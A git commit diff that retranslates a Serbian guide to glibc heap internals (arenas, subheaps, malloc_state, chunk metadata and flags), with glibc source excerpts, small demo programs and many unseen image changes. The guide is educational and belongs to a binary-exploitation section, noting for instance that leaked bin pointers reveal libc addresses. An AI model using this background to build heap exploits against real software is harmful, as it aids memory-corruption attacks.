Translated ['binary-exploitation/libc-heap/README.md', 'binary-exploitat

This commit is contained in:
Translator 2024-09-16 20:58:33 +00:00
parent 5e90a4a19e
commit 7746018a0a
83 changed files with 730 additions and 699 deletions

Binary file not shown.

Before

Width:  |  Height:  |  Size: 65 KiB

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.6 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 142 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 142 KiB

After

Width:  |  Height:  |  Size: 108 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 108 KiB

After

Width:  |  Height:  |  Size: 63 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 63 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 708 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 708 KiB

After

Width:  |  Height:  |  Size: 287 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 287 KiB

After

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 201 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 201 KiB

After

Width:  |  Height:  |  Size: 197 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 197 KiB

After

Width:  |  Height:  |  Size: 23 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 79 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 79 KiB

After

Width:  |  Height:  |  Size: 609 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 609 KiB

After

Width:  |  Height:  |  Size: 9.5 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 254 KiB

After

Width:  |  Height:  |  Size: 43 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 43 KiB

After

Width:  |  Height:  |  Size: 137 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 137 KiB

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

After

Width:  |  Height:  |  Size: 1.3 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.3 MiB

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 29 KiB

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

After

Width:  |  Height:  |  Size: 428 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 428 KiB

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 27 KiB

After

Width:  |  Height:  |  Size: 43 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 43 KiB

After

Width:  |  Height:  |  Size: 78 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 78 KiB

After

Width:  |  Height:  |  Size: 18 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 42 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 42 KiB

After

Width:  |  Height:  |  Size: 92 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 92 KiB

After

Width:  |  Height:  |  Size: 334 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 90 KiB

After

Width:  |  Height:  |  Size: 33 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 33 KiB

After

Width:  |  Height:  |  Size: 116 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 116 KiB

After

Width:  |  Height:  |  Size: 418 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 418 KiB

After

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 53 KiB

After

Width:  |  Height:  |  Size: 74 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 74 KiB

After

Width:  |  Height:  |  Size: 271 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 271 KiB

After

Width:  |  Height:  |  Size: 105 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 105 KiB

After

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 254 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 254 KiB

After

Width:  |  Height:  |  Size: 5.5 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 5.5 KiB

After

Width:  |  Height:  |  Size: 254 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 254 KiB

After

Width:  |  Height:  |  Size: 112 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 112 KiB

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 18 KiB

After

Width:  |  Height:  |  Size: 3.2 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.2 MiB

After

Width:  |  Height:  |  Size: 10 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 10 KiB

After

Width:  |  Height:  |  Size: 262 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 262 KiB

After

Width:  |  Height:  |  Size: 19 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 95 KiB

After

Width:  |  Height:  |  Size: 407 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 407 KiB

After

Width:  |  Height:  |  Size: 284 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 284 KiB

After

Width:  |  Height:  |  Size: 40 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 58 KiB

After

Width:  |  Height:  |  Size: 175 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 175 KiB

After

Width:  |  Height:  |  Size: 453 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 453 KiB

After

Width:  |  Height:  |  Size: 25 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 23 KiB

After

Width:  |  Height:  |  Size: 172 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 172 KiB

After

Width:  |  Height:  |  Size: 210 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 210 KiB

After

Width:  |  Height:  |  Size: 25 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 20 KiB

After

Width:  |  Height:  |  Size: 1 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1 MiB

After

Width:  |  Height:  |  Size: 594 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 594 KiB

After

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 334 KiB

After

Width:  |  Height:  |  Size: 35 KiB

View file

@ -1,56 +1,56 @@
# Heap
# Libc Heap
## Osnove Heap-a
## Heap Basics
Heap je osnovno mesto gde program može skladištiti podatke kada zahteva podatke pozivajući funkcije poput **`malloc`**, `calloc`... Osim toga, kada ti podaci više nisu potrebni, oni se oslobađaju pozivom funkcije **`free`**.
Heap je u suštini mesto gde program može da skladišti podatke kada zahteva podatke pozivajući funkcije kao što su **`malloc`**, `calloc`... Pored toga, kada ova memorija više nije potrebna, postaje dostupna pozivajući funkciju **`free`**.
Kao što je prikazano, heap se nalazi odmah nakon što se binarni fajl učita u memoriju (proverite sekciju `[heap]`):
Kao što je prikazano, to je odmah nakon što se binarni fajl učita u memoriju (proverite odeljak `[heap]`):
<figure><img src="../../.gitbook/assets/image (1241).png" alt=""><figcaption></figcaption></figure>
### Osnovna Aloakcija Blokova
### Basic Chunk Allocation
Kada se zatraže neki podaci da se skladište u heap-u, određeni prostor heap-a se alocira za njih. Taj prostor će pripadati binu i rezervisaće se samo za tražene podatke + prostor za zaglavlja bina + minimalno pomeranje veličine bina za blok. Cilj je rezervisati što manje memorije bez komplikovanja pronalaženja svakog bloka. Za to se koriste metapodaci bloka kako bi se znalo gde se nalazi svaki korišćeni/slobodan blok.
Kada se zatraže neki podaci da budu smešteni u heap, određeni deo heap-a se alocira za njih. Ovaj prostor će pripadati bini i samo će zatraženi podaci + prostor za zaglavlja bina + minimalni offset veličine bina biti rezervisani za chunk. Cilj je da se rezerviše što manje memorije bez otežavanja pronalaženja gde se svaki chunk nalazi. Za ovo se koristi informacija o metapodacima chunk-a da bi se znalo gde se nalazi svaki korišćeni/slobodni chunk.
Postoje različiti načini rezervisanja prostora, uglavnom zavisno o korišćenom binu, ali opšta metodologija je sledeća:
Postoje različiti načini za rezervaciju prostora, uglavnom zavisno od korišćenog bina, ali opšta metodologija je sledeća:
* Program počinje sa zahtevanjem određene količine memorije.
* Ako u listi blokova postoji dovoljno veliki blok da ispuni zahtev, on će biti korišćen.
* To može značiti da će deo dostupnog bloka biti korišćen za ovaj zahtev, a ostatak će biti dodat u listu blokova.
* Ako nema dostupnog bloka u listi, ali još uvek ima prostora u alociranoj memoriji heap-a, upravljač heap-om kreira novi blok.
* Ako nema dovoljno prostora u heap-u da alocira novi blok, upravljač heap-om traži od jezgra da proširi memoriju alociranu za heap, a zatim koristi tu memoriju da generiše novi blok.
* Ako sve propadne, `malloc` vraća null.
* Program počinje zahtevajući određenu količinu memorije.
* Ako u listi chunk-ova postoji neki dostupan dovoljno veliki da ispuni zahtev, biće korišćen.
* Ovo može čak značiti da će deo dostupnog chunk-a biti korišćen za ovaj zahtev, a ostatak će biti dodat u listu chunk-ova.
* Ako u listi nema dostupnog chunk-a, ali još uvek ima prostora u alociranoj heap memoriji, menadžer heap-a kreira novi chunk.
* Ako nema dovoljno prostora u heap-u da se alocira novi chunk, menadžer heap-a traži od kernela da proširi memoriju alociranu za heap i zatim koristi ovu memoriju za generisanje novog chunk-a.
* Ako sve ne uspe, `malloc` vraća null.
Imajte na umu da ako tražena **memorija pređe prag**, koristiće se **`mmap`** za mapiranje tražene memorije.
Napomena: ako zatražena **memorija pređe prag**, **`mmap`** će biti korišćen za mapiranje zatražene memorije.
## Arene
## Arenas
U **višenitnim** aplikacijama, upravljač heap-om mora sprečiti **trke za stanjem** koje bi mogle dovesti do rušenja. Početno je to postignuto korišćenjem **globalne međuspremnika** kako bi se osiguralo da samo jedna nit može pristupiti heap-u u isto vreme, ali to je uzrokovalo **probleme sa performansama** zbog uskog grla koje je prouzrokovala međuspremnika.
U **multithreaded** aplikacijama, menadžer heap-a mora sprečiti **race conditions** koje bi mogle dovesti do rušenja. U početku, ovo je rađeno korišćenjem **globalnog mutex-a** kako bi se osiguralo da samo jedna nit može pristupiti heap-u u isto vreme, ali to je izazvalo **probleme sa performansama** zbog uskog grla izazvanog mutex-om.
Da bi se to rešilo, allocator heap-a ptmalloc2 je uveo "arene", gde **svaka arena** deluje kao **zaseban heap** sa svojim **sopstvenim** podacima **strukture** i **međuspremnikom**, omogućavajući više niti da obavljaju operacije heap-a bez mešanja, pod uslovom da koriste različite arene.
Da bi se to rešilo, ptmalloc2 alokator heap-a je uveo "arene", gde **svaka arena** deluje kao **odvojeni heap** sa svojim **vlastitim** podacima **strukture** i **mutex-om**, omogućavajući više niti da obavljaju operacije na heap-u bez ometanja jedna druge, sve dok koriste različite arene.
Podrazumevana "glavna" arena upravlja operacijama heap-a za aplikacije sa jednom niti. Kada se dodaju **nove niti**, upravljač heap-om im dodeljuje **sekundarne arene** kako bi smanjio sukob. Prvo pokušava da pridruži svaku novu nit neiskorišćenoj areni, kreirajući nove ako je potrebno, do granice od 2 puta broja CPU jezgara za 32-bitne sisteme i 8 puta za 64-bitne sisteme. Kada se dostigne granica, **niti moraju deliti arene**, što može dovesti do potencijalnih sukoba.
Podrazumevana "glavna" arena upravlja operacijama na heap-u za aplikacije sa jednom niti. Kada se **nove niti** dodaju, menadžer heap-a im dodeljuje **sekundarne arene** kako bi smanjio sukobe. Prvo pokušava da poveže svaku novu nit sa neiskorišćenom arenom, kreirajući nove ako je potrebno, do limita od 2 puta broj CPU jezgara za 32-bitne sisteme i 8 puta za 64-bitne sisteme. Kada se dostigne limit, **niti moraju deliti arene**, što dovodi do potencijalnog sukoba.
Za razliku od glavne arene, koja se proširuje korišćenjem poziva sistema `brk`, sekundarne arene kreiraju "pod-heapove" koristeći `mmap` i `mprotect` kako bi simulirali ponašanje heap-a, omogućavajući fleksibilnost u upravljanju memorijom za višenitne operacije.
Za razliku od glavne arene, koja se širi korišćenjem `brk` sistemskog poziva, sekundarne arene kreiraju "subheaps" koristeći `mmap` i `mprotect` kako bi simulirale ponašanje heap-a, omogućavajući fleksibilnost u upravljanju memorijom za multithreaded operacije.
### Pod-heapovi
### Subheaps
Pod-heapovi služe kao rezerve memorije za sekundarne arene u višenitnim aplikacijama, omogućavajući im da rastu i upravljaju svojim sopstvenim regijama heap-a odvojeno od glavnog heap-a. Evo kako se pod-heapovi razlikuju od početnog heap-a i kako funkcionišu:
Subheaps služe kao rezerve memorije za sekundarne arene u multithreaded aplikacijama, omogućavajući im da rastu i upravljaju svojim regionima heap-a odvojeno od glavnog heap-a. Evo kako se subheaps razlikuju od inicijalnog heap-a i kako funkcionišu:
1. **Početni Heap vs. Pod-heapovi**:
* Početni heap se nalazi odmah nakon binarnog fajla programa u memoriji i proširuje se korišćenjem poziva sistema `sbrk`.
* Pod-heapovi, korišćeni od strane sekundarnih arena, kreiraju se kroz `mmap`, poziv sistema koji mapira određenu memorijsku regiju.
1. **Inicijalni Heap vs. Subheaps**:
* Inicijalni heap se nalazi direktno nakon binarnog fajla programa u memoriji, i širi se korišćenjem `sbrk` sistemskog poziva.
* Subheaps, koje koriste sekundarne arene, kreiraju se putem `mmap`, sistemskog poziva koji mapira određeni memorijski region.
2. **Rezervacija Memorije sa `mmap`**:
* Kada upravljač heap-om kreira pod-heap, rezerviše veliki blok memorije kroz `mmap`. Ova rezervacija ne alocira odmah memoriju; jednostavno označava regiju koju druge sistemsko procesi ili alokacije ne bi trebali koristiti.
* Podrazumevana veličina rezervacije za pod-heap je 1 MB za 32-bitne procese i 64 MB za 64-bitne procese.
3. **Postepeno Proširenje sa `mprotect`**:
* Rezervisana memorijska regija je prvobitno označena kao `PROT_NONE`, što znači da je kernel ne treba alocirati fizičku memoriju za ovaj prostor.
* Da bi "proširio" pod-heap, upravljač heap-om koristi `mprotect` da promeni dozvole stranice sa `PROT_NONE` na `PROT_READ | PROT_WRITE`, što podstiče kernel da alocira fizičku memoriju na prethodno rezervisane adrese. Ovaj postepeni pristup omogućava pod-heapu da se proširi po potrebi.
* Kada se ceo pod-heap iscrpi, upravljač heap-om kreira novi pod-heap da nastavi sa alokacijom.
* Kada menadžer heap-a kreira subheap, rezerviše veliki blok memorije putem `mmap`. Ova rezervacija ne alocira memoriju odmah; jednostavno označava region koji drugi sistemski procesi ili alokacije ne bi trebali koristiti.
* Podrazumevana veličina rezervisane subheap memorije je 1 MB za 32-bitne procese i 64 MB za 64-bitne procese.
3. **Postepeno Širenje sa `mprotect`**:
* Rezervisana memorijska oblast je inicijalno označena kao `PROT_NONE`, što ukazuje da kernel još ne mora da alocira fizičku memoriju za ovaj prostor.
* Da bi "rastegao" subheap, menadžer heap-a koristi `mprotect` da promeni dozvole stranica sa `PROT_NONE` na `PROT_READ | PROT_WRITE`, podstičući kernel da alocira fizičku memoriju za prethodno rezervisane adrese. Ovaj postepeni pristup omogućava subheap-u da se širi po potrebi.
* Kada se ceo subheap iscrpi, menadžer heap-a kreira novi subheap da bi nastavio alokaciju.
### heap\_info <a href="#heap_info" id="heap_info"></a>
Ova struktura alocira relevantne informacije o heap-u. Osim toga, memorija heap-a možda neće biti kontinuirana nakon više alokacija, pa će ova struktura takođe čuvati tu informaciju.
Ova struktura alocira relevantne informacije o heap-u. Pored toga, heap memorija možda neće biti kontinuirana nakon više alokacija, ova struktura će takođe čuvati te informacije.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
@ -70,14 +70,14 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
```
### malloc\_state
**Svaki heap** (glavna arena ili arene drugih niti) ima **strukturu `malloc_state`.**\
Važno je primetiti da je **glavna arena `malloc_state`** struktura **globalna promenljiva u libc-u** (stoga smeštena u memorijskom prostoru libc-a).\
U slučaju **`malloc_state`** struktura heapova niti, one se nalaze **unutar sopstvenog "heapa" niti**.
**Svaka heap** (glavna arena ili druge arene niti) ima **`malloc_state` strukturu.**\
Važno je napomenuti da je **glavna arena `malloc_state`** struktura **globalna promenljiva u libc** (stoga se nalazi u libc memorijskom prostoru).\
U slučaju **`malloc_state`** struktura heap-ova niti, one se nalaze **unutar vlastitog "heap"-a niti**.
Postoje neke zanimljive stvari koje treba primetiti iz ove strukture (videti C kod ispod):
Postoje neke zanimljive stvari koje treba primetiti iz ove strukture (vidi C kod ispod):
* `__libc_lock_define (, mutex);` služi da se osigura da se ova struktura iz heapa pristupa od strane 1 niti u isto vreme
* Zastave:
* `__libc_lock_define (, mutex);` je tu da osigura da se ova struktura iz heap-a pristupa od strane 1 niti u isto vreme
* Zastavice:
* ```c
#define NONCONTIGUOUS_BIT (2U)
@ -86,11 +86,11 @@ Postoje neke zanimljive stvari koje treba primetiti iz ove strukture (videti C k
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
```
* `mchunkptr bins[NBINS * 2 - 2];` sadrži **pokazivače** na **prvi i poslednji chunkove** malih, velikih i nesortiranih **binova** (-2 je zato što se indeks 0 ne koristi)
* Stoga, **prvi chunk** ovih binova će imati **pokazivač unazad ka ovoj strukturi** i **poslednji chunk** ovih binova će imati **pokazivač unapred** ka ovoj strukturi. Što u osnovi znači da ako možete **procureti ove adrese u glavnoj areni** imaćete pokazivač na strukturu u **libc-u**.
* `mchunkptr bins[NBINS * 2 - 2];` sadrži **pokazivače** na **prvi i poslednji chunk** malih, velikih i nesortiranih **bins** (minus 2 je zbog toga što se indeks 0 ne koristi)
* Stoga, **prvi chunk** ovih bins će imati **povratni pokazivač na ovu strukturu** i **poslednji chunk** ovih bins će imati **napredni pokazivač** na ovu strukturu. Što u suštini znači da ako možete l**eak-ovati ove adrese u glavnoj areni** imaćete pokazivač na strukturu u **libc**.
* Strukture `struct malloc_state *next;` i `struct malloc_state *next_free;` su povezane liste arena
* Chunk `top` je poslednji "chunk", koji je u osnovi **sav preostali prostor heapa**. Kada je chunk `top` "prazan", heap je potpuno iskorišćen i potrebno je zatražiti više prostora.
* Chunk `last reminder` dolazi iz slučajeva kada tačno veličina chunka nije dostupna i stoga se veći chunk deli, a preostali deo pokazivača se smešta ovde.
* `top` chunk je poslednji "chunk", koji je u suštini **sva preostala memorija heap-a**. Kada je top chunk "prazan", heap je potpuno iskorišćen i treba da zatraži više prostora.
* `last reminder` chunk dolazi iz slučajeva kada tačno veličine chunk nije dostupna i stoga je veći chunk podeljen, a pokazivač preostalog dela se ovde postavlja.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
@ -140,7 +140,7 @@ INTERNAL_SIZE_T max_system_mem;
```
### malloc\_chunk
Ova struktura predstavlja određeni deo memorije. Različita polja imaju različito značenje za alocirane i nealocirane delove.
Ova struktura predstavlja određeni deo memorije. Različita polja imaju različita značenja za alocirane i nealokirane delove.
```c
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
struct malloc_chunk {
@ -155,35 +155,35 @@ struct malloc_chunk* bk_nextsize;
typedef struct malloc_chunk* mchunkptr;
```
Kao što je ranije komentarisano, ovi delovi takođe imaju neke metapodatke, veoma dobro predstavljene na ovoj slici:
Kao što je prethodno komentarisano, ovi delovi takođe imaju neke metapodatke, vrlo dobro predstavljene na ovoj slici:
<figure><img src="../../.gitbook/assets/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
Metapodaci obično su 0x08B što ukazuje na trenutnu veličinu bloka koristeći poslednja 3 bita da označe:
Metapodaci obično imaju vrednost 0x08B koja označava trenutnu veličinu dela koristeći poslednje 3 bita za označavanje:
* `A`: Ako je 1, dolazi iz pod-heapa, ako je 0, nalazi se u glavnoj areni
* `M`: Ako je 1, ovaj blok je deo prostora alociranog sa mmap i nije deo heap-a
* `P`: Ako je 1, prethodni blok je u upotrebi
* `A`: Ako je 1, dolazi iz podheap-a, ako je 0, u glavnoj areni je
* `M`: Ako je 1, ovaj deo je deo prostora dodeljenog sa mmap i nije deo heap-a
* `P`: Ako je 1, prethodni deo je u upotrebi
Zatim sledi prostor za korisničke podatke, i na kraju 0x08B da označi veličinu prethodnog bloka kada je blok dostupan (ili za skladištenje korisničkih podataka kada je alociran).
Zatim, prostor za korisničke podatke, i konačno 0x08B da označi veličinu prethodnog dela kada je deo dostupan (ili da čuva korisničke podatke kada je dodeljen).
Osim toga, kada su dostupni, korisnički podaci se koriste i za sadržaj nekih podataka:
Štaviše, kada je dostupan, korisnički podaci se koriste i za sadržaj nekih podataka:
* **`fd`**: Pokazivač na sledeći blok
* **`bk`**: Pokazivač na prethodni blok
* **`fd_nextsize`**: Pokazivač na prvi blok u listi koji je manji od samog sebe
* **`bk_nextsize`:** Pokazivač na prvi blok u listi koji je veći od samog sebe
* **`fd`**: Pokazivač na sledeći deo
* **`bk`**: Pokazivač na prethodni deo
* **`fd_nextsize`**: Pokazivač na prvi deo u listi koji je manji od sebe
* **`bk_nextsize`:** Pokazivač na prvi deo u listi koji je veći od sebe
<figure><img src="../../.gitbook/assets/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
{% hint style="info" %}
Primetite kako povezivanje liste na ovaj način sprečava potrebu za imanjem niza gde je svaki pojedinačni blok registrovan.
Obratite pažnju kako povezivanje liste na ovaj način sprečava potrebu za imanjem niza gde se svaki pojedinačni deo registruje.
{% endhint %}
### Pokazivači Blokova
### Pokazivači na delove
Kada se koristi malloc, vraća se pokazivač na sadržaj koji može biti upisan (odmah nakon zaglavlja), međutim, prilikom upravljanja blokovima, potreban je pokazivač na početak zaglavlja (metapodaci).\
Za ove konverzije koriste se sledeće funkcije:
Kada se koristi malloc, vraća se pokazivač na sadržaj koji može biti napisan (odmah nakon zaglavlja), međutim, kada se upravlja delovima, potreban je pokazivač na početak zaglavlja (metapodaci).\
Za ove konverzije koriste se ove funkcije:
```c
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -203,7 +203,7 @@ Za ove konverzije koriste se sledeće funkcije:
```
### Poravnanje i minimalna veličina
Pokazivač na blok i `0x0f` moraju biti 0.
Pokazivač na deo i `0x0f` moraju biti 0.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/generic/malloc-size.h#L61
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
@ -258,11 +258,13 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) &
return request2size (req);
}
```
### Dobijanje podataka o bloku i izmena metapodataka
Napomena da se za izračunavanje ukupnog potrebnog prostora `SIZE_SZ` dodaje samo 1 put jer se polje `prev_size` može koristiti za skladištenje podataka, stoga je potrebna samo početna zaglavlja.
Ove funkcije rade tako što primaju pokazivač na blok i korisne su za proveru/postavljanje metapodataka:
### Dobijanje Chunk podataka i izmjena metapodataka
* Provera zastavica bloka
Ove funkcije rade tako što primaju pokazivač na chunk i korisne su za proveru/postavljanje metapodataka:
* Proveri chunk zastavice
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -292,7 +294,7 @@ the chunk to the user, if necessary. */
/* Mark a chunk as not being on the main arena. */
#define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA)
```
* Veličine i pokazivači ka drugim blokovima
* Veličine i pokazivači na druge delove
```c
/*
Bits to mask off when extracting size
@ -325,7 +327,7 @@ people extending or adapting this malloc.
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
```
* Uvodni bit
* Insue bit
```c
/* extract p's inuse bit */
#define inuse(p) \
@ -349,7 +351,7 @@ people extending or adapting this malloc.
#define clear_inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
```
* Postavite zaglavlje i podnožje (kada su brojevi blokova u upotrebi)
* Postavite zaglavlje i podnožje (kada se koriste chunk brojevi)
```c
/* Set size at head, without disturbing its use bit */
#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
@ -360,7 +362,7 @@ people extending or adapting this malloc.
/* Set size at footer (only when chunk is not in use) */
#define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))
```
* Dobijanje veličine stvarno upotrebljivih podataka unutar bloka
* Dobijte veličinu stvarnih upotrebljivih podataka unutar dela
```c
#pragma GCC poison mchunk_size
#pragma GCC poison mchunk_prev_size
@ -391,9 +393,9 @@ return ptr;
```
## Primeri
### Brzi primer hipa
### Brzi Heap Primer
Brzi primer hipa sa [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) ali u arm64:
Brzi heap primer sa [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) ali u arm64:
```c
#include <stdio.h>
#include <stdlib.h>
@ -406,23 +408,23 @@ ptr = malloc(0x10);
strcpy(ptr, "panda");
}
```
Postavite prekidnu tačku na kraju glavne funkcije i saznajmo gde su informacije sačuvane:
Postavite tačku prekida na kraju glavne funkcije i hajde da saznamo gde je informacija sačuvana:
<figure><img src="../../.gitbook/assets/image (1239).png" alt=""><figcaption></figcaption></figure>
Moguće je videti da je string panda sačuvan na adresi `0xaaaaaaac12a0` (koja je bila adresa data kao odgovor od strane malloc unutar `x0`). Proveravajući 0x10 bajtova pre toga, moguće je videti da `0x0` predstavlja da **prethodni blok nije korišćen** (dužina 0) i da je dužina ovog bloka `0x21`.
Moguće je videti da je string panda sačuvan na `0xaaaaaaac12a0` (što je adresa koju je vratio malloc unutar `x0`). Proveravajući 0x10 bajtova pre, moguće je videti da `0x0` predstavlja da **prethodni deo nije korišćen** (dužina 0) i da je dužina ovog dela `0x21`.
Dodatni prostor rezervisan (0x21-0x10=0x11) dolazi od **dodatih zaglavlja** (0x10) i 0x1 ne znači da je rezervisano 0x21B već poslednja 3 bita dužine trenutnog zaglavlja imaju neka posebna značenja. Pošto je dužina uvek poravnata na granicu od 16 bajtova (na 64-bitnim mašinama), ovi bitovi zapravo nikada neće biti korišćeni od strane broja dužine.
Dodatni prostori rezervisani (0x21-0x10=0x11) dolaze od **dodate zaglavlja** (0x10) i 0x1 ne znači da je rezervisano 0x21B, već poslednja 3 bita dužine trenutnog zaglavlja imaju neka posebna značenja. Pošto je dužina uvek usklađena na 16 bajtova (na 64-bitnim mašinama), ovi bitovi se zapravo nikada neće koristiti za broj dužine.
```
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
0x4: Non Main Arena - Specifies that the chunk was obtained from outside of the main arena
```
### Primer višenitnog izvršavanja
### Multithreading Example
<details>
<summary>Višenitno izvršavanje</summary>
<summary>Multithread</summary>
```c
#include <stdio.h>
#include <stdlib.h>
@ -466,35 +468,35 @@ return 0;
```
</details>
Debugiranje prethodnog primera omogućava da se vidi kako na početku postoji samo 1 arena:
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
Zatim, nakon poziva prvog niti, one koja poziva malloc, kreira se nova arena:
Debugging prethodnog primera moguće je videti kako na početku postoji samo 1 arena:
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
i unutar nje mogu se pronaći neki blokovi:
Zatim, nakon pozivanja prvog threada, onog koji poziva malloc, kreira se nova arena:
<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
## Bins & Aloakcije/Oslobađanja Memorije
i unutar nje mogu se naći neki chunks:
Proverite šta su to binovi, kako su organizovani i kako se memorija alocira i oslobađa u:
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
## Bins & Memory Allocations/Frees
Proverite koji su bins i kako su organizovani i kako se memorija alocira i oslobađa u:
{% content-ref url="bins-and-memory-allocations.md" %}
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
{% endcontent-ref %}
## Provere Bezbednosti Funkcija Heap-a
## Heap Functions Security Checks
Funkcije uključene u heap će izvršiti određenu proveru pre obavljanja svojih akcija kako bi se osiguralo da heap nije oštećen:
Funkcije uključene u heap će izvršiti određene provere pre nego što izvrše svoje akcije kako bi pokušale da osiguraju da heap nije oštećen:
{% content-ref url="heap-memory-functions/heap-functions-security-checks.md" %}
[heap-functions-security-checks.md](heap-memory-functions/heap-functions-security-checks.md)
{% endcontent-ref %}
## Reference
## References
* [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
